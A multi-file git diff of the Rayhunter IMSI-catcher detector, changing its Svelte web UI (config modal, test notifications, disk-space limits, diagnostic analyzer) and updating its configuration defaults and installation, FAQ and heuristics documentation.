onclick={() => (showConfig = !showConfig)}
>
<span>Configuration</span>
<svg
class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"
></path>
</svg>
</button>
{#if showConfig}
<Modal bind:shown title="Configuration">
<div class="p-2">
{#if loading}
<div class="text-center py-4">Loading config...</div>
{:else if config}
@@ -73,7 +76,7 @@
class="space-y-4"
onsubmit={(e) => {
e.preventDefault();
saveConfig();
save_config();
}}
>
<div>
@@ -89,7 +92,12 @@
<option value={1}>1 - Subtle mode (colored line)</option>
<option value={2}>2 - Demo mode (orca gif)</option>
<option value={3}>3 - EFF logo</option>
<option value={4}>4 - High visibility (full screen color)</option>
</select>
<p class="text-xs text-gray-500 mt-1">
Note: Rayhunter draws over the device's native UI, so some flickering is
expected
</p>
</div>
<div>
@@ -105,8 +113,7 @@
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
>
<option value={0}>0 - Disable button control</option>
<option value={1}
>1 - Double-tap power button to start/stop recording</option
<option value={1}>1 - Double-tap power button to start new recording</option
>
</select>
</div>
@@ -138,6 +145,49 @@
bind:value={config.ntfy_url}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
<p class="text-xs text-gray-500 mt-1">
Test button below uses the saved configuration URL, not the input above
</p>
</div>
<div>
<button
type="button"
onclick={send_test_notification}
disabled={testingNotification}
class="bg-rayhunter-blue hover:bg-rayhunter-dark-blue disabled:opacity-50 disabled:cursor-not-allowed text-white font-bold py-2 px-4 rounded-md flex flex-row gap-1 items-center"
>
{#if testingNotification}
<div
class="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin"
></div>
Sending...
{:else}
<svg
class="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"
></path>
</svg>
Send Test Notification
{/if}
</button>
{#if testMessage}
<div
class="mt-2 p-2 rounded text-sm {testMessageType === 'error'
? 'bg-red-100 text-red-700'
: 'bg-green-100 text-green-700'}"
>
{testMessage}
</div>
{/if}
</div>
<div class="space-y-2">
@@ -175,6 +225,48 @@
</div>
</div>
<div class="border-t pt-4 mt-6 space-y-3">
<h3 class="text-lg font-semibold text-gray-800 mb-4">Storage Management</h3>
<div>
<label
for="min_space_to_start_recording_mb"
class="block text-sm font-medium text-gray-700 mb-1"
>
Minimum Space to Start Recording (MB)
</label>
<input
id="min_space_to_start_recording_mb"
type="number"
min="1"
bind:value={config.min_space_to_start_recording_mb}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
<p class="text-xs text-gray-500 mt-1">
Recording will not start if less than this amount of disk space is free
</p>
</div>
<div>
<label
for="min_space_to_continue_recording_mb"
class="block text-sm font-medium text-gray-700 mb-1"
>
Minimum Space to Continue Recording (MB)
</label>
<input
id="min_space_to_continue_recording_mb"
type="number"
min="1"
bind:value={config.min_space_to_continue_recording_mb}
class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
/>
<p class="text-xs text-gray-500 mt-1">
Recording will stop automatically if disk space drops below this level
</p>
</div>
</div>
<div class="border-t pt-4 mt-6">
<h3 class="text-lg font-semibold text-gray-800 mb-4">
Analyzer Heuristic Settings
@@ -269,6 +361,20 @@
Test Heuristic (noisy!)
</label>
</div>
<div class="flex items-center">
<input
id="diagnostic_analyzer"
type="checkbox"
bind:checked={config.analyzers.diagnostic_analyzer}
class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
/>
<label
for="diagnostic_analyzer"
class="ml-2 block text-sm text-gray-700"
>
Diagnostic Analyzer
</label>
</div>
</div>
</div>
@@ -316,5 +422,5 @@
Failed to load configuration. Please try reloading the page.
</div>
{/if}
{/if}
</div>
</div>
</Modal>

View File

@@ -12,7 +12,7 @@
name: string;
} = $props();
function confirmDelete() {
function confirm_delete() {
if (window.confirm(prompt)) {
user_action_req('POST', url, 'Unable to delete recording ' + name);
}
@@ -21,7 +21,7 @@
<button
class="bg-red-500 hover:bg-red-700 text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row"
onclick={confirmDelete}
onclick={confirm_delete}
aria-label="delete"
>
<p>{text}</p>

View File

@@ -1,34 +1,13 @@
<script lang="ts">
import { get_logs } from '$lib/utils.svelte';
import { onMount } from 'svelte';
import Modal from './Modal.svelte';
let { shown = $bindable() }: { shown: boolean } = $props();
let content: string | undefined = $state(undefined);
onMount(() => {
// Used by LogView modal
window.addEventListener('scroll', () => {
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
});
});
$effect(() => {
if (shown) {
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
const body = document.body;
body.style.position = 'fixed';
body.style.top = `-${scrollY}`;
} else {
const body = document.body;
const scrollY = body.style.top;
body.style.position = '';
body.style.top = '';
window.scrollTo(0, parseInt(scrollY || '0') * -1);
}
const interval = setInterval(async () => {
try {
// Don't update UI if browser tab isn't visible
if (content !== undefined && (document.hidden || !shown)) {
return;
}
@@ -42,33 +21,8 @@
});
</script>
{#if shown}
<div
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
flex flex-col p-2 drop-shadow"
>
<div class="flex h-20 justify-between items-center p-1">
<span class="text-2xl mb-2">Log</span>
<button onclick={() => (shown = false)} aria-label="close">
<svg
xmlns="http://www.w3.org/2000/svg"
aria-hidden="true"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
clip-rule="evenodd"
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
fill="#0F1729"
/>
</svg>
</button>
</div>
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
<pre class="m-2">{content}</pre>
</div>
<Modal bind:shown title="Logs">
<div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
<pre class="m-2">{content}</pre>
</div>
{/if}
</Modal>

View File

@@ -81,6 +81,11 @@
'N/A'}</span
>
</div>
{#if entry.stop_reason}
<div class="bg-yellow-50 border border-yellow-300 rounded p-2 text-yellow-800 text-sm">
{entry.stop_reason}
</div>
{/if}
<div class="flex flex-row justify-between lg:justify-end gap-1 mt-2 overflow-x-auto">
<DownloadLink url={entry.get_pcap_url()} text="pcap" full_button />
<DownloadLink url={entry.get_qmdl_url()} text="qmdl" full_button />

View File

@@ -0,0 +1,62 @@
<script lang="ts">
import type { Snippet } from 'svelte';
import { onMount } from 'svelte';
let {
shown = $bindable(),
title,
children,
}: { shown: boolean; title: string; children: Snippet } = $props();
onMount(() => {
window.addEventListener('scroll', () => {
document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
});
});
$effect(() => {
if (shown) {
const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
const body = document.body;
body.style.position = 'fixed';
body.style.top = `-${scrollY}`;
} else {
const body = document.body;
const scrollY = body.style.top;
body.style.position = '';
body.style.top = '';
window.scrollTo(0, parseInt(scrollY || '0') * -1);
}
});
</script>
{#if shown}
<div
class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
flex flex-col p-2 drop-shadow"
>
<div class="flex justify-between items-center p-1">
<span class="text-2xl">{title}</span>
<button onclick={() => (shown = false)} aria-label="close">
<svg
xmlns="http://www.w3.org/2000/svg"
aria-hidden="true"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
clip-rule="evenodd"
d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
fill="#0F1729"
/>
</svg>
</button>
</div>
<div class="overflow-y-auto flex-1">
{@render children()}
</div>
</div>
{/if}

View File

@@ -19,7 +19,7 @@
analysis_status === AnalysisStatus.Queued || analysis_status === AnalysisStatus.Running
);
async function handleReAnalyze() {
async function handle_re_analyze() {
// Update the entry directly for immediate UI feedback
entry.analysis_status = AnalysisStatus.Queued;
entry.analysis_report = undefined;
@@ -33,7 +33,7 @@
loadingLabel="Analyzing..."
disabled={is_processing}
variant="blue"
onclick={handleReAnalyze}
onclick={handle_re_analyze}
ariaLabel="re-analyze"
errorMessage="Error re-analyzing recoding"
>

View File

@@ -11,6 +11,7 @@ interface JsonManifestEntry {
start_time: string;
last_message_time: string;
qmdl_size_bytes: number;
stop_reason: string | null;
}
export class Manifest {
@@ -57,6 +58,7 @@ export class ManifestEntry {
public analysis_size_bytes = $state(0);
public analysis_status: AnalysisStatus | undefined = $state(undefined);
public analysis_report: AnalysisReport | string | undefined = $state(undefined);
public stop_reason: string | undefined = $state(undefined);
constructor(json: JsonManifestEntry) {
this.name = json.name;
@@ -65,6 +67,9 @@ export class ManifestEntry {
if (json.last_message_time) {
this.last_message_time = new Date(json.last_message_time);
}
if (json.stop_reason) {
this.stop_reason = json.stop_reason;
}
}
get_readable_qmdl_size(): string {

View File

@@ -5,7 +5,7 @@ import { breakpoints } from '../../theme';
type Breakpoint = keyof typeof breakpoints;
// Store that tracks if a specific breakpoint matches
export function createBreakpointStore(breakpoint: Breakpoint): Readable<boolean> {
export function create_breakpoint_store(breakpoint: Breakpoint): Readable<boolean> {
return readable<boolean>(false, (set) => {
const width = breakpoints[breakpoint];
const mediaQuery = window.matchMedia(`(min-width: ${width})`);
@@ -23,7 +23,7 @@ export function createBreakpointStore(breakpoint: Breakpoint): Readable<boolean>
}
// Create stores for each breakpoint
export const screenIsSmUp: Readable<boolean> = createBreakpointStore('sm');
export const screenIsMdUp: Readable<boolean> = createBreakpointStore('md');
export const screenIsLgUp: Readable<boolean> = createBreakpointStore('lg');
export const screenIsXlUp: Readable<boolean> = createBreakpointStore('xl');
export const screenIsSmUp: Readable<boolean> = create_breakpoint_store('sm');
export const screenIsMdUp: Readable<boolean> = create_breakpoint_store('md');
export const screenIsLgUp: Readable<boolean> = create_breakpoint_store('lg');
export const screenIsXlUp: Readable<boolean> = create_breakpoint_store('xl');

View File

@@ -18,6 +18,7 @@ export interface DiskStats {
available_size: string;
used_percent: string;
mounted_on: string;
available_bytes?: number;
}
export interface MemoryStats {

View File

@@ -10,6 +10,7 @@ export interface AnalyzerConfig {
nas_null_cipher: boolean;
incomplete_sib: boolean;
test_analyzer: boolean;
diagnostic_analyzer: boolean;
}
export enum enabled_notifications {
@@ -24,17 +25,22 @@ export interface Config {
ntfy_url: string;
enabled_notifications: enabled_notifications[];
analyzers: AnalyzerConfig;
min_space_to_start_recording_mb: number;
min_space_to_continue_recording_mb: number;
}
export async function req(method: string, url: string): Promise<string> {
const response = await fetch(url, {
method: method,
});
const body = await response.text();
export async function req(method: string, url: string, json_body?: unknown): Promise<string> {
const options: RequestInit = { method };
if (json_body !== undefined) {
options.body = JSON.stringify(json_body);
options.headers = { 'Content-Type': 'application/json' };
}
const response = await fetch(url, options);
const responseBody = await response.text();
if (response.status >= 200 && response.status < 300) {
return body;
return responseBody;
} else {
throw new Error(body);
throw new Error(responseBody);
}
}
@@ -42,13 +48,13 @@ export async function req(method: string, url: string): Promise<string> {
export async function user_action_req(
method: string,
url: string,
error_msg: string
error_msg: string,
json_body?: unknown
): Promise<string | undefined> {
try {
return await req(method, url);
return await req(method, url, json_body);
} catch (error) {
if (error instanceof Error) {
console.log('beeeo');
add_error(error, error_msg);
}
return undefined;
@@ -86,3 +92,24 @@ export async function set_config(config: Config): Promise<void> {
throw new Error(error);
}
}
export async function test_notification(): Promise<void> {
const response = await fetch('/api/test-notification', {
method: 'POST',
});
if (!response.ok) {
const error = await response.text();
throw new Error(error);
}
}
export interface TimeResponse {
system_time: string;
adjusted_time: string;
offset_seconds: number;
}
export async function get_daemon_time(): Promise<TimeResponse> {
return JSON.parse(await req('GET', '/api/time'));
}

View File

@@ -10,6 +10,7 @@
import RecordingControls from '$lib/components/RecordingControls.svelte';
import ConfigForm from '$lib/components/ConfigForm.svelte';
import ActionErrors from '$lib/components/ActionErrors.svelte';
import ClockDriftAlert from '$lib/components/ClockDriftAlert.svelte';
import LogView from '$lib/components/LogView.svelte';
let manager: AnalysisManager = new AnalysisManager();
@@ -20,6 +21,7 @@
let system_stats: SystemStats | undefined = $state(undefined);
let update_error: string | undefined = $state(undefined);
let logview_shown: boolean = $state(false);
let config_shown: boolean = $state(false);
$effect(() => {
const interval = setInterval(async () => {
try {
@@ -54,6 +56,7 @@
</script>
<LogView bind:shown={logview_shown} />
<ConfigForm bind:shown={config_shown} />
<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
<img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
@@ -102,6 +105,34 @@
/>
</svg>
</button>
<button onclick={() => (config_shown = true)} class="flex flex-row gap-1 group">
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Config</span>
<svg
class="w-6 h-6 text-white group-hover:text-gray-400"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="none"
viewBox="0 0 24 24"
>
<path
stroke="currentColor"
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M21 13v-2a1 1 0 0 0-1-1h-.757l-.707-1.707.535-.536a1 1 0 0 0 0-1.414l-1.414-1.414a1 1 0 0 0-1.414 0l-.536.535L14 5.757V5a1 1 0 0 0-1-1h-2a1 1 0 0 0-1 1v.757L8.293 6.464l-.536-.535a1 1 0 0 0-1.414 0L4.929 7.343a1 1 0 0 0 0 1.414l.535.536L4.757 11H4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h.757l.707 1.707-.535.536a1 1 0 0 0 0 1.414l1.414 1.414a1 1 0 0 0 1.414 0l.536-.535L10 18.243V19a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-.757l1.707-.707.536.535a1 1 0 0 0 1.414 0l1.414-1.414a1 1 0 0 0 0-1.414l-.535-.536.707-1.707H20a1 1 0 0 0 1-1Z"
/>
<path
stroke="currentColor"
stroke-linecap="round"
stroke-linejoin="round"
stroke-width="2"
d="M12 15a3 3 0 1 0 0-6 3 3 0 0 0 0 6Z"
/>
</svg>
</button>
<div class="w-px bg-white/30 self-stretch"></div>
<a
class="flex flex-row gap-1 group"
href="https://github.com/EFForg/rayhunter/issues"
@@ -148,6 +179,26 @@
/>
</svg>
</a>
<a
class="flex flex-row gap-1 group"
href="https://supporters.eff.org/donate"
target="_blank"
>
<span class="hidden text-white group-hover:text-gray-400 lg:flex">Donate</span>
<svg
class="w-6 h-6 text-white group-hover:text-gray-400"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
d="m12.75 20.66 6.184-7.098c2.677-2.884 2.559-6.506.754-8.705-.898-1.095-2.206-1.816-3.72-1.855-1.293-.034-2.652.43-3.963 1.537-1.31-1.108-2.67-1.571-3.962-1.537-1.515.04-2.823.76-3.72 1.855-1.806 2.2-1.924 5.821.753 8.705l6.184 7.098.245.281a.75.75 0 0 0 1.09 0l.246-.281Z"
/>
</svg>
</a>
</div>
</div>
<div class="m-4 xl:mx-8 flex flex-col gap-4">
@@ -175,7 +226,7 @@
</span>
<span
>This webpage is not currently receiving updates from your Rayhunter device. This
could be do loss of connection or some issue with your device.</span
could be due to loss of connection or some issue with your device.</span
>
{#if update_error}
<details>
@@ -186,6 +237,7 @@
</div>
{/if}
<ActionErrors />
<ClockDriftAlert />
{#if loaded}
<div class="flex flex-col lg:flex-row gap-4">
{#if current_entry}
@@ -250,7 +302,6 @@
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
</div>
<DeleteAllButton />
<ConfigForm />
{:else}
<div class="flex flex-col justify-center items-center">
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->

View File

@@ -5,7 +5,7 @@ export default defineConfig({
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
target: process.env.API_TARGET || 'http://localhost:8080',
changeOrigin: true,
secure: false,
configure: (proxy, _options) => {

10
dist/config.toml.in vendored
View File

@@ -12,6 +12,7 @@ colorblind_mode = false
# 1 = Subtle mode, display a colored line at the top of the screen when rayhunter is running (green=running, white=paused, red=warnings)
# 2 = Demo Mode, display a fun orca gif
# 3 = display the EFF logo
# 4 = High Visibility mode, fill the entire screen with the status color (green=running, white=paused, red=warnings)
#
# TP-Link with one-bit display:
# 0 = invisible mode
@@ -19,7 +20,7 @@ colorblind_mode = false
ui_level = 1
# 0 = rayhunter does not read button presses
# 1 = double-tapping the power button starts/stops recordings
# 1 = double-tapping the power button starts new recording
key_input_mode = 0
# If set, attempts to send a notification to the url when a new warning is triggered
@@ -27,6 +28,12 @@ ntfy_url = ""
# What notification types to enable. Does nothing if the above ntfy_url is not set.
enabled_notifications = ["Warning", "LowBattery"]
# Disk Space Management
# Minimum free space (MB) required to start recording
min_space_to_start_recording_mb = 1
# Minimum free space (MB) to continue recording (stops if below this)
min_space_to_continue_recording_mb = 1
# Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
@@ -38,3 +45,4 @@ null_cipher = true
nas_null_cipher = true
incomplete_sib = true
test_analyzer = false
diagnostic_analyzer = true

View File

@@ -1,6 +1,8 @@
# Summary
[Introduction](./introduction.md)
- [Introduction](./introduction.md)
- [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md)
- [Installation](./installation.md)
- [Installing from the latest release](./installing-from-release.md)
- [Installing from source](./installing-from-source.md)
@@ -12,6 +14,7 @@
- [Re-analyzing recordings](./reanalyzing.md)
- [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md)
- [Porting to new devices](./porting.md)
- [Orbic/Kajeet RC400L](./orbic.md)
- [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md)
@@ -20,5 +23,4 @@
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
- [PinePhone and PinePhone Pro](./pinephone.md)
- [Moxee Hotspot](./moxee.md)
- [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md)
- [REST API Documentation](./api-docs.md)

5
doc/api-docs.md Normal file
View File

@@ -0,0 +1,5 @@
# REST API Documentation
The rayhunter daemon has [REST API documentation](./api-docs/) available in the interactive swagger-ui.
>**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.

View File

@@ -9,10 +9,11 @@ Through web UI you can set:
- *Invisible mode*: Rayhunter does not show anything on the built-in screen
- *Subtle mode (colored line)*: Rayhunter shows green line if there are no warnings, red line if there are warnings (warnings could be checked through web UI) and white line if Rayhunter is not recording.
- *Demo mode (orca gif)*, which shows image of orcas *and* colored line.
- *EFF logo*, which shows EFF logo and *and* colored line.
- *EFF logo*, which shows EFF logo *and* colored line.
- *High visibility (full screen color)*: fills the entire screen with the status color (green for recording, red for warnings, white for paused).
- **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
- *Disable button control*: built-in power button of the device is not used by Rayhunter.
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
- *Double-tap power button to start new recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:

6
doc/custom.css Normal file
View File

@@ -0,0 +1,6 @@
.warning-box {
padding: 0.75em 1em;
border-left: 4px solid #e33;
border-radius: 4px;
background-color: color-mix(in srgb, currentColor 10%, transparent);
}

View File

@@ -24,18 +24,27 @@ If you want to use a non-Verizon SIM card you will probably need an unlocked dev
### How do I re-enable USB tethering after installing Rayhunter?
Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
If you have installed with `./installer orbic-usb`, you might find that USB
tethering is now disabled. If you have run `./installer orbic`, this section is not
relevant as it does not use or touch USB.
[First obtain a shell](./orbic.md#shell), then:
```sh
./installer util shell "echo 9 > /usrdata/mode.cfg"
./installer util shell reboot
# inside of Orbic's shell:
echo 9 > /usrdata/mode.cfg
reboot
```
Make sure USB tethering is also enabled in the Orbic's UI.
To disable tethering again:
```sh
./installer util shell "echo 3 > /usrdata/mode.cfg"
./installer util shell reboot
# inside of Orbic's shell:
echo 3 > /usrdata/mode.cfg
reboot
```
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
@@ -43,16 +52,16 @@ See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB g
### How do I disable the WiFi hotspot on the Orbic RC400L?
To disable both WiFi bands:
To disable both WiFi bands, [first obtain a shell](./orbic.md#shell), then:
```sh
adb shell
/bin/rootshell -c "sed -i 's/<wlan><Feature><state>1<\/state>/<wlan><Feature><state>0<\/state>/g' /usrdata/data/usr/wlan/wlan_conf_6174.xml && reboot"
# inside of Orbic's shell:
sed -i 's/<wlan><Feature><state>1<\/state>/<wlan><Feature><state>0<\/state>/g' /usrdata/data/usr/wlan/wlan_conf_6174.xml && reboot
```
To re-enable WiFi:
```sh
adb shell
/bin/rootshell -c "sed -i 's/<wlan><Feature><state>0<\/state>/<wlan><Feature><state>1<\/state>/g' /usrdata/data/usr/wlan/wlan_conf_6174.xml && reboot"
# inside of Orbic's shell:
sed -i 's/<wlan><Feature><state>0<\/state>/<wlan><Feature><state>1<\/state>/g' /usrdata/data/usr/wlan/wlan_conf_6174.xml && reboot
```

View File

@@ -39,7 +39,7 @@ This heuristic will also issue a notification every time your identity is sent t
This analyzer tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristic is useful, because some IMSI catchers may operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
### LTE SIB6/7 Downgrade
### LTE SIB6/7 Downgrade (v2)
This analyzer tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
@@ -49,7 +49,7 @@ This attack exploits the fact that SIB broadcast messages are not encrypted or a
SIB6 is used for cell reselection to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristic may trigger false positives. In that case you should consider disabling it. However this heuristic has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
This heuristic is useful even in countries where 2g is still prevalent. A well behaved tower should always advertise its other 4g neighbors at a higher priority than 2g/3g neighbors. (Older versions of this heuristic were prone to false positives.)
### Null Cipher
@@ -73,6 +73,9 @@ This analyzer tests whether the SIB1 message contains a complete SIB chain (SIB3
On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **IMSI Requested** detection it should be considered as a strong indicator of malicious activity.
### Diagnostic Information
This analyzer displays some diagnostic information about when your device connects and disconnects from certain towers. It is helpful for analysis of suspicious PCAPs. The informational warnings in here can safely be ignored until there is a low, medium, or high severity warning.
### Test Analyzer
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisy so we do not recommend leaving it on but if this alerts it means your Rayhunter device is working!

View File

@@ -41,6 +41,9 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
```bash
# For Orbic:
./installer orbic --admin-password 'mypassword'
# Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
# may be required if different from the default.
# Or install over USB if you want ADB and a root shell (not recommended for most users)
./installer orbic-usb
@@ -48,7 +51,8 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
./installer tplink
```
* On Verizon Orbic, the password is the WiFi password.
* On Verizon Orbic, the password is the one used to login to the device's admin menu, and the default is the WiFi password.
* ***Note:*** If you have changed the device username, password, or IP address from their default values, these must be provided as arguments to the installer command above.
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
* On Moxee-brand devices, check under the battery for the password.
* You can reset the password by pressing the button under the back case until the unit restarts.

View File

@@ -1,64 +1,94 @@
# Installing from source
Building Rayhunter from source, either for development or because the install script doesn't work on your system, involves a number of external dependencies. Unless you need to do this, we recommend you use our [compiled builds](https://github.com/EFForg/rayhunter/releases).
Building Rayhunter from source, either for development or otherwise, involves a
number of external dependencies. Unless you need to do this, we recommend you
use our [compiled builds](https://github.com/EFForg/rayhunter/releases).
* Install [nodejs/npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm), which is required to build Rayhunter's web UI
* Make sure to build the site with `pushd daemon/web && npm install && npm run build && popd` before building Rayhunter. If you're working directly on the frontend, `npm run dev` will allow you to test a local frontend with hot-reloading (use `http://localhost:5173` instead of `http://localhost:8080`).
* Install ADB on your computer using the instructions above, and make sure it's in your terminal's PATH
* You can verify if ADB is in your PATH by running `which adb` in a terminal. If it prints the filepath to where ADB is installed, you're set! Otherwise, try following one of these guides:
* [linux](https://askubuntu.com/questions/652936/adding-android-sdk-platform-tools-to-path-downloaded-from-umake)
* [macOS](https://www.repeato.app/setting-up-adb-on-macos-a-step-by-step-guide/)
* [Windows](https://medium.com/@yadav-ajay/a-step-by-step-guide-to-setting-up-adb-path-on-windows-0b833faebf18)
* Install `curl` on your computer to run the install scripts. It is not needed to build binaries.
At a high level, we have:
### Install Rust targets
* A JS frontend written in SvelteKit (`./daemon/web/`)
* A Rust binary `rayhunter-daemon` (`./daemon/`) that runs on the device, and bundles the frontend.
* A Rust binary `installer` (`./installer`) that runs on the computer and bundles `rayhunter-daemon`.
[Install Rust the usual way](https://www.rust-lang.org/tools/install). Then,
It's recommended to work either on Mac/Linux, or WSL on Windows.
- install the cross-compilation target for the device Rayhunter will run on:
```sh
rustup target add armv7-unknown-linux-musleabihf
```
## Building frontend and backend
- install the statically compiled target for your host machine to build the binary installer `serial`.
```sh
# check which toolchain you have installed by default with
rustup show
# now install the correct variant for your host platform, one of:
rustup target add aarch64-unknown-linux-musl
rustup target add armv7-unknown-linux-musleabi
rustup target add x86_64-unknown-linux-musl
rustup target add aarch64-apple-darwin
rustup target add x86_64-apple-darwin
rustup target add x86_64-pc-windows-gnu
```
First, install dependencies:
Now you can root your device and install Rayhunter by running:
- [Rust](https://www.rust-lang.org/tools/install)
- [Node.js/npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
- C compiler tools (`apt install build-essential` on Linux, `xcode-select --install` on Mac)
Then you can build everything with:
```sh
# Build the daemon binary for local development (rustcrypto TLS backend, fast compilation)
# WARNING: The rustcrypto library, though not known to be insecure, is less well
# tested than its counterpart and could potentially have severe issues in
# its cryptographic implementation. We therefore recommend using ring-tls in
# production builds (see below)
cargo build-daemon-firmware-devel
# To build it exactly like in CI (more mature ring TLS backend, slower compilation)
# CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
# Build rootshell
cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
# Replace 'orbic' with your device type if different.
# A list of possible values can be found with 'cargo run --bin installer help'.
# Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
./scripts/build-dev.sh
./scripts/install-dev.sh orbic # replace 'orbic' with your device type
```
